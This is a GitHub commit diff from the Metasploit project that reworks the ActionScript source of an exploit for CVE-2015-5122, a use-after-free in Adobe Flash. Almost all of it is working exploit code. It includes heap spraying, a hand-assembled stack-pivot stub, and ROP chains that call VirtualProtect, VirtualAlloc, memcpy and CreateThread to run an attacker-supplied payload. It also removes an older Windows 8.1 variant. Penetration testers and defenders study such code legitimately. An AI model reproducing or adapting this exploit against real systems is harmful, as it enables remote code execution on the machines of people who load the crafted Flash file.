Skip to content

Commit 837eb9e

Browse files
committed
Land rapid7#5742, better quality coverage for adobe_flash_opaque_background_uaf
2 parents 115fb04 + f77f7d6 commit 837eb9e

File tree

6 files changed

+134
-161
lines changed

6 files changed

+134
-161
lines changed

data/exploits/CVE-2015-5122/msf.swf

-34 Bytes
Binary file not shown.

external/source/exploits/CVE-2015-5122/Exploit.as

Lines changed: 5 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -11,27 +11,24 @@ package
1111
private var b64:Base64Decoder = new Base64Decoder()
1212
private var payload:ByteArray
1313
private var platform:String
14-
private var os:String
1514

1615
public function Exploit():void
1716
{
18-
//trace("Got to checkpoint 0");
19-
if (stage) init();
20-
else addEventListener(Event.ADDED_TO_STAGE, init);
17+
if (stage) init();
18+
else addEventListener(Event.ADDED_TO_STAGE, init);
2119
}
2220

2321
private function init(e:Event = null):void
2422
{
25-
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
26-
os = LoaderInfo(this.root.loaderInfo).parameters.os
23+
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
2724
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
2825
var pattern:RegExp = / /g;
2926
b64_payload = b64_payload.replace(pattern, "+")
3027
b64.decode(b64_payload)
3128
payload = b64.toByteArray()
3229

33-
removeEventListener(Event.ADDED_TO_STAGE, init);
34-
MyClass.TryExpl(this, platform, os, payload)
30+
removeEventListener(Event.ADDED_TO_STAGE, init);
31+
MyClass.TryExpl(this, platform, payload, 1)
3532
}
3633
}
3734
}

external/source/exploits/CVE-2015-5122/Exploiter.as

Lines changed: 55 additions & 87 deletions
Original file line numberDiff line numberDiff line change
@@ -11,27 +11,33 @@ package
1111
private var eba:ExploitByteArray
1212
private var payload:ByteArray
1313
private var platform:String
14-
private var op_system:String
1514
private var pos:uint
1615
private var byte_array_object:uint
1716
private var main:uint
1817
private var stack_object:uint
1918
private var payload_space_object:uint
2019
private var buffer_object:uint
20+
private var magic:uint
21+
private var magic_arg0:uint
22+
private var magic_arg1:uint
23+
private var magic_object:uint
24+
private var magic_table:uint
2125
private var buffer:uint
2226
private var vtable:uint
2327
private var stack_address:uint
2428
private var payload_address:uint
29+
private var stub_address:uint
30+
private var stub_space_object:uint
31+
private var stub:Vector.<uint> = new Vector.<uint>(8)
2532
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
2633
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
2734
private var spray:Vector.<Object> = new Vector.<Object>(90000)
2835

29-
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
36+
public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
3037
{
3138
exploit = exp
3239
payload = p
3340
platform = pl
34-
op_system = os
3541

3642
ev = new ExploitVector(uv, uv_length)
3743
if (!ev.is_ready()) return
@@ -49,16 +55,27 @@ package
4955
cleanup()
5056
}
5157

58+
static function Magic(...a){}
59+
5260
private function spray_objects():void
5361
{
5462
Logger.log("[*] Exploiter - spray_objects()")
63+
64+
// mov eax,[esp+0x4]
65+
// xchg eax,esp
66+
// rets
67+
stub[0] = 0x0424448B
68+
stub[1] = 0x0000C394
69+
5570
for (var i:uint = 0; i < spray.length; i++)
5671
{
5772
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
5873
spray[i][0] = eba.ba
5974
spray[i][1] = exploit
6075
spray[i][2] = stack
6176
spray[i][3] = payload_space
77+
spray[i][4] = Magic
78+
spray[i][5] = stub
6279
}
6380
}
6481

@@ -76,6 +93,8 @@ package
7693
main = ev.at(pos + 1) - 1
7794
stack_object = ev.at(pos + 2) - 1
7895
payload_space_object = ev.at(pos + 3) - 1
96+
magic = ev.at(pos + 4) - 1
97+
stub_space_object = ev.at(pos + 5) - 1
7998
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
8099
return false
81100
}
@@ -98,6 +117,11 @@ package
98117
vtable = ev.read(main)
99118
stack_address = ev.read(stack_object + 0x18)
100119
payload_address = ev.read(payload_space_object + 0x18)
120+
stub_address = ev.read(stub_space_object + 0x18)
121+
magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0)
122+
magic_table = ev.read(magic_object)
123+
magic_arg0 = ev.read(magic + 0x1c)
124+
magic_arg1 = ev.read(magic + 0x20)
101125
}
102126

103127
private function corrupt_byte_array():void
@@ -138,13 +162,7 @@ package
138162
if (platform == "linux") {
139163
do_rop_linux()
140164
} else if (platform == "win") {
141-
if (op_system == "Windows 8.1") {
142-
do_rop_windows8()
143-
} else if (op_system == "Windows 7") {
144-
do_rop_windows()
145-
} else {
146-
return
147-
}
165+
do_rop_windows()
148166
} else {
149167
return
150168
}
@@ -167,21 +185,20 @@ package
167185
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
168186

169187
// Continuation of execution
170-
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
171-
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
188+
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable
189+
eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main
172190
eba.write(0, "\x89\x03", false) // mov [ebx], eax
173-
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
191+
eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10
174192

175193
// Put the payload (command) in memory
176194
eba.write(payload_address + 8, payload, true); // payload
177195

178-
// Put the fake vtabe / stack on memory
179-
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
180-
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
196+
// Put the fake stack on memory
181197
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
198+
182199
eba.write(0, virtualprotect)
183-
184-
// VirtualProtect
200+
201+
// VirtualProtect
185202
eba.write(0, virtualalloc)
186203
eba.write(0, buffer + 0x10)
187204
eba.write(0, 0x1000)
@@ -210,76 +227,27 @@ package
210227
eba.write(0, 0)
211228
eba.write(0, 0)
212229
eba.write(0, 0)
213-
214-
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
215-
exploit.toString() // call method in the fake vtable
216-
}
217-
218-
private function do_rop_windows8():void
219-
{
220-
Logger.log("[*] Exploiter - do_rop_windows8()")
221-
var pe:PE = new PE(eba)
222-
var flash:uint = pe.base(vtable)
223-
var winmm:uint = pe.module("winmm.dll", flash)
224-
var advapi32:uint = pe.module("advapi32.dll", flash)
225-
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
226-
var kernel32:uint = pe.module("kernel32.dll", winmm)
227-
var ntdll:uint = pe.module("ntdll.dll", kernel32)
228-
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
229-
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
230-
var createthread:uint = pe.procedure("CreateThread", kernelbase)
231-
var memcpy:uint = pe.procedure("memcpy", ntdll)
232-
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
233-
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
234-
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
235-
236-
// Continuation of execution
237-
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
238-
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
239-
eba.write(0, "\x89\x03", false) // mov [ebx], eax
240-
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
241-
242-
// Put the payload (command) in memory
243-
eba.write(payload_address + 8, payload, true); // payload
244-
245-
// Put the fake vtabe / stack on memory
246-
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
247-
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
248-
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
249-
eba.write(0, virtualprotect)
250-
251-
// VirtualProtect
252-
eba.write(0, virtualalloc)
253-
eba.write(0, buffer + 0x10)
254-
eba.write(0, 0x1000)
255-
eba.write(0, 0x40)
256-
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
257-
258-
// VirtualAlloc
259-
eba.write(0, memcpy)
260-
eba.write(0, 0x7ffd0000)
261-
eba.write(0, 0x4000)
262-
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
263-
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
264-
265-
// memcpy
266-
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
267-
eba.write(0, 0x7ffd0000)
268-
eba.write(0, payload_address + 8)
269-
eba.write(0, payload.length)
270-
271-
// CreateThread
272-
eba.write(0, createthread)
273-
eba.write(0, buffer + 0x10) // return to fix things
274-
eba.write(0, 0)
275-
eba.write(0, 0)
276-
eba.write(0, 0x7ffd0000)
277-
eba.write(0, 0)
278-
eba.write(0, 0)
279-
eba.write(0, 0)
230+
231+
for (var i:uint; i < 0x100; i++) {
232+
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
233+
}
280234

281-
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
282-
exploit.toString() // call method in the fake vtable
235+
// VirtualProtect the stub with a *reliable* stackpivot
236+
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
237+
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
238+
eba.write(magic + 0x1c, stub_address)
239+
eba.write(magic + 0x20, 0x10)
240+
var args:Array = new Array(0x41)
241+
Magic.call.apply(null, args);
242+
243+
// Call to our stackpivot and init the rop chain
244+
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
245+
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
246+
eba.write(magic + 0x1c, stack_address + 0x18000)
247+
Magic.call.apply(null, null);
248+
eba.write(magic_object, magic_table);
249+
eba.write(magic + 0x1c, magic_arg0)
250+
eba.write(magic + 0x20, magic_arg1)
283251
}
284252

285253
private function do_rop_linux():void

external/source/exploits/CVE-2015-5122/Logger.as

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ package
33
import flash.external.ExternalInterface
44

55
public class Logger {
6-
private static const DEBUG:uint = 1
6+
private static const DEBUG:uint = 0
77

88
public static function alert(msg:String):void
99
{

0 commit comments

Comments
 (0)